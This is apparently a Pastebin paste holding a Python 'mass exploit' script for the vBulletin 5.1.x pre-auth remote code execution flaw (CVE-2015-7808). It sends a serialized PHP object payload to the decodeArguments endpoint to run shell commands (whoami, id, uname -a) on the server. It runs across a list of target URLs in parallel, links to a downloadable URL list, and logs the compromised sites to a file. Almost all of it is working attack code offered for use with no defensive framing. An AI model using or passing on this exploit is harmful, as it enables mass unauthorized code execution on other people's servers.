Advertisement
hielasangre

Untitled

Dec 16th, 2015
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.48 KB | None | 0 0
  1. # Exploit Title : [Exploit] vBulletin 5.1.x - PreAuth Remote Code Execution
  2. # Date : 11-09-2015
  3. # Requirements : Python 3.4.x , Requests, Colorama
  4. # Tested on : Windows 8.1 / Ubuntu 14.04
  5. # CVE : CVE-2015-7808
  6. # Blog Post : http://mukarramkhalid.com/exploit-vbulletin-5-1-x-preauth-remote-code-execution/
  7. # Url list : http://makman.tk/vb/urls.txt
  8.  
  9. import requests, re, sys
  10. import colorama
  11. from colorama import *
  12. from urllib.parse import urlparse
  13. from time import time as timer
  14. from functools import partial
  15. from multiprocessing import Pool
  16.  
  17. colorama.init()
  18.  
  19. def banner():
  20. print( '\n' )
  21. print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
  22. print( ' [Mass Exploit] VBulletin 5.1.x ' )
  23. print( ' MakMan -- http://mukarramkhalid.com -- http://fb.com/makmaniac ' )
  24. print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' )
  25. print( '\n' )
  26.  
  27. def inject( u ):
  28. # Formatting URL
  29. if '/forum/' in u:
  30. url = u.split( '/forum' )[0] + '/forum/ajax/api/hook/decodeArguments'
  31. turl = url[:-36]
  32. elif '/Forum/' in u:
  33. url = u.split( '/Forum' )[0] + '/Forum/ajax/api/hook/decodeArguments'
  34. turl = url[:-36]
  35. else:
  36. o = urlparse( u )
  37. url = o.scheme + '://' + o.netloc + '/ajax/api/hook/decodeArguments'
  38. turl = url[:-30]
  39. try:
  40. r = requests.get( url, params = 'arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:11:"echo makman";}', timeout= 15 )
  41. if 'makman' in r.text and len( r.text ) < 50:
  42. r = requests.get( url, params = 'arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:36:"whoami;echo :::;id;echo :::;uname -a;echo :::;echo puto el que lee";}', timeout= 15 )
  43. if len( r.text ) < 200:
  44. print( Fore.RED + ' [+] URL : ' + Fore.GREEN + ' ' + turl )
  45. print( ' ' + Fore.YELLOW + ' [+] WHOAMI : ' + Fore.CYAN + ' ' + r.text.split( ':::' )[0].strip() )
  46. print( ' ' + Fore.YELLOW + ' [+] ID : ' + Fore.CYAN + ' ' + r.text.split( ':::' )[1].strip() )
  47. print( ' ' + Fore.YELLOW + ' [+] UNAME : ' + Fore.CYAN + ' ' + r.text.split( ':::' )[2].strip() )
  48. print( ' ' + Fore.YELLOW + ' [+] PATH : ' + Fore.CYAN + ' ' + r.text.split( ':::' )[3].strip() + '\n' )
  49. sys.stdout.flush()
  50. return url + ':::' + r.text
  51. else:
  52. return url + ':::' + 'Not Vulnerable'
  53. else:
  54. return url + ':::' + 'Not Vulnerable'
  55. except:
  56. return url + ':::' + 'Bad Response'
  57.  
  58. def main():
  59. print (Style.BRIGHT)
  60. banner()
  61. count = 0
  62. start = timer()
  63. file_string = ''
  64. final_result = []
  65. # Make sure urls.txt is in the same directory
  66. try:
  67. with open( 'urls.txt' ) as f:
  68. search_result = f.read().splitlines()
  69. except:
  70. print( 'urls.txt not found in the current directory. Create your own or download from here. http://makman.tk/vb/urls.txt\n' )
  71. sys.exit(0)
  72. search_result = list( set( search_result ) )
  73. print (' [+] Executing Exploit for ' + Fore.RED + str( len( search_result ) ) + Fore.WHITE + ' Urls.\n')
  74. with Pool(8) as p:
  75. final_result.extend( p.map( inject, search_result ) )
  76. for i in final_result:
  77. if not 'Not Vulnerable' in i and not 'Bad Response' in i:
  78. count += 1
  79. file_string = file_string + i.split( ':::' )[0].strip() + '\n' + i.split( ':::' )[1].strip() + '\n' + i.split( ':::' )[2].strip() + '\n' + i.split( ':::' )[3].strip()
  80. file_string = file_string + '\n------------------------------------------\n'
  81. # Writing Result in a file makman.txt
  82. with open( 'makman.txt', 'a', encoding = 'utf-8' ) as rfile:
  83. rfile.write( file_string )
  84. print( 'Total URLs Scanned : ' + str( len( search_result ) ) )
  85. print( 'Vulnerable URLs Found : ' + str( count ) )
  86. print( 'Script Execution Time : ' + str ( timer() - start ) + ' seconds' )
  87.  
  88. if __name__ == '__main__':
  89. main()
  90.  
  91. #End
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement